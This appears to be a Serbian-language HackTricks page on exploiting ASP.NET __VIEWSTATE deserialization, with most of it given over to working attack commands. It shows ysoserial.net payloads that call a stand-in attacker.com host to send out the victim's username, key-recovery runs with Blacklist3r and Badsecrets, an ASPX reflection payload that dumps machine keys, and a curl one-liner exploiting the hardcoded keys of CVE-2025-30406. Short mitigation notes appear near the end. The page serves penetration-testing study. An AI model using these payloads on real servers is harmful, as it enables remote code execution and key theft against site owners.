Eksploatacija __VIEWSTATE bez poznavanja tajni

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je ViewState

ViewState služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka o stranici i kontrolama između web stranica. Tokom renderovanja HTML-a stranice, trenutna stanja stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64-encoded stringove. Ovi stringovi se zatim smeštaju u skrivene ViewState polja.

Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama:

  • Base64:
  • Ovaj format se koristi kada su oba atributa EnableViewStateMac i ViewStateEncryptionMode postavljena na false.
  • Base64 + MAC (Kod za autentifikaciju poruka) Omogućen:
  • Aktivacija MAC-a se postiže postavljanjem atributa EnableViewStateMac na true. Ovo obezbeđuje verifikaciju integriteta za ViewState podatke.
  • Base64 + Enkriptovano:
  • Enkripcija se primenjuje kada je atribut ViewStateEncryptionMode postavljen na true, obezbeđujući poverljivost ViewState podataka.

Test slučajevi

Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja:

  1. Za bilo koju verziju .NET-a, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
  2. Za verzije ispod 4.5, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
  3. Za verzije ispod 4.5, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
  4. Za verzije 4.5 i više, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."

Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false

Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registry ključa AspNetEnforceViewStateMac na nulu u:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifikovanje ViewState Atributa

Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om tako što ćete uhvatiti zahtev koji sadrži ovaj parametar pomoću BurpSuite-a. Ako se MAC ne koristi za zaštitu parametra, možete ga iskoristiti koristeći YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera

Programeri mogu ukloniti ViewState da ne postane deo HTTP zahteva (korisnik neće primiti ovaj kolačić).
Može se pretpostaviti da ako ViewState nije prisutan, njihova implementacija je sigurna od bilo kakvih potencijalnih ranjivosti koje proizlaze iz deserializacije ViewState-a.
Međutim, to nije slučaj. Ako dodamo ViewState parametar u telo zahteva i pošaljemo naš serijalizovani payload kreiran pomoću ysoserial, i dalje ćemo moći da postignemo izvršenje koda kao što je prikazano u Slučaju 1.

Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false

Da bismo omogućili ViewState MAC za određenu stranicu, potrebno je izvršiti sledeće izmene na određenom aspx fajlu:

bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Možemo to takođe uraditi za celu aplikaciju postavljanjem u web.config datoteku kao što je prikazano u nastavku:

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Pošto je parametar zaštićen MAC-om, da bismo uspešno izvršili napad, prvo nam je potreban korišćeni ključ.

Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete korišćeni ključ.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Pythonu, tako da, za razliku od Blacklist3r, nema zavisnost od Windows-a. Za .NET viewstate-ove postoji "python blacklist3r" alat, koji je najbrži način da se koristi.

Može se direktno snabdeti viewstate-om i generatorom:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ili, može se direktno povezati na ciljani URL i pokušati da izvuče viewstate iz HTML-a:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Da biste pretraživali ranjive viewstate-ove na velikoj skali, u kombinaciji sa enumeracijom poddomena, može se koristiti badsecrets BBOT modul:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

U slučajevima kada server ne šalje _VIEWSTATEGENERATOR parametar, ne morate navesti --generator parametar već ove:

bash
--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a kako biste iskoristili ranjivost.

U ovom slučaju Blacklist3r modul je u razvoju...

Pre .NET 4.5, ASP.NET može prihvatiti nekriptovani ___VIEWSTATE_parametar od korisnika čak i ako je ViewStateEncryptionMode postavljen na Uvek. ASP.NET samo proverava prisutnost __VIEWSTATEENCRYPTED parametra u zahtevu. Ako se ukloni ovaj parametar i pošalje nekriptovani payload, on će i dalje biti obrađen.

Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga datoteka, YSoSerial.Net komanda korišćena u Slučaju 2, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.

  • Uklonite __VIEWSTATEENCRYPTED parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config datoteke kao što je prikazano ispod.

xml
<httpRuntime targetFramework="4.5" />

Alternativno, ovo se može uraditi tako što ćete navesti opciju ispod unutar machineKey parametra u web.config datoteci.

bash
compatibilityMode="Framework45"

Kao u prethodnom, vrednost je enkriptovana. Zatim, da bi poslao validan payload, napadaču je potreban ključ.

Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete ključ koji se koristi:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Za detaljniji opis za IISDirPath i TargetPagePath pogledajte ovde

Ili, sa Badsecrets (sa vrednošću generatora):

bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Kada se identifikuje važeći Machine key, sledeći korak je generisanje serijalizovanog payload-a koristeći YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Ako imate vrednost __VIEWSTATEGENERATOR, možete pokušati da koristite parametar --generator sa tom vrednošću i izostavite parametre --path i --apppath.

Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako proces eksploatacije funkcioniše i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi PoC of Successful Exploitation.

Test Case 6 – ViewStateUserKeys se koristi

Svojstvo ViewStateUserKey može se koristiti za odbranu od CSRF napada. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo ViewState payload koristeći metode o kojima smo do sada razgovarali, payload neće biti obrađen od strane aplikacije.
Potrebno je koristiti još jedan parametar kako bi se ispravno kreirao payload:

bash
--viewstateuserkey="randomstringdefinedintheserver"

Rezultat uspešne eksploatacije

Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi uspešno, server odgovara sa “500 Internal server error” sa sadržajem odgovora “Informacije o stanju su nevažeće za ovu stranicu i mogu biti oštećene” i dobijamo OOB zahtev.

Proverite dodatne informacije ovde

Ispisivanje ASP.NET mašinskih ključeva putem refleksije (SharPyShell/SharePoint ToolShell)

Napadači koji su u mogućnosti da otpreme ili izvrše proizvoljni ASPX kod unutar ciljnog web korena mogu direktno da preuzmu tajne ključeve koji štite __VIEWSTATE umesto da ih brute-forcuju. Minimalni payload koji otkriva ključeve koristi interne .NET klase putem refleksije:

csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Zahtev za stranicu ispisuje ValidationKey, DecryptionKey, algoritam enkripcije i ASP.NET režim kompatibilnosti. Ove vrednosti se sada mogu direktno uneti u ysoserial.net da bi se kreirao validan, potpisan __VIEWSTATE uređaj:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Ova primitive za eksfiltraciju ključeva je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru.

Scenariji stvarne eksploatacije 2024-2025 i hardkodirani mašinski ključevi

Talas "javnih mašinskih ključeva" koji je objavio Microsoft (decembar 2024 – februar 2025)

Microsoft Threat Intelligence je izvestio o masovnoj eksploataciji ASP.NET sajtova gde je machineKey prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne __VIEWSTATE gadgete sa novijim ysoserial.net 1.41 --minify i --islegacy zastavicama kako bi izbegli WAF ograničenja dužine:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Rotiranje statičkih ključeva ili prelazak na AutoGenerate ključeve u Web .config (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />) ublažava ovu klasu napada.

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-kodirani ključevi

Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim machineKey vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406).

Jednolinijski exploit:

bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Fiksirano u CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – odmah nadogradite ili zamenite ključeve.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks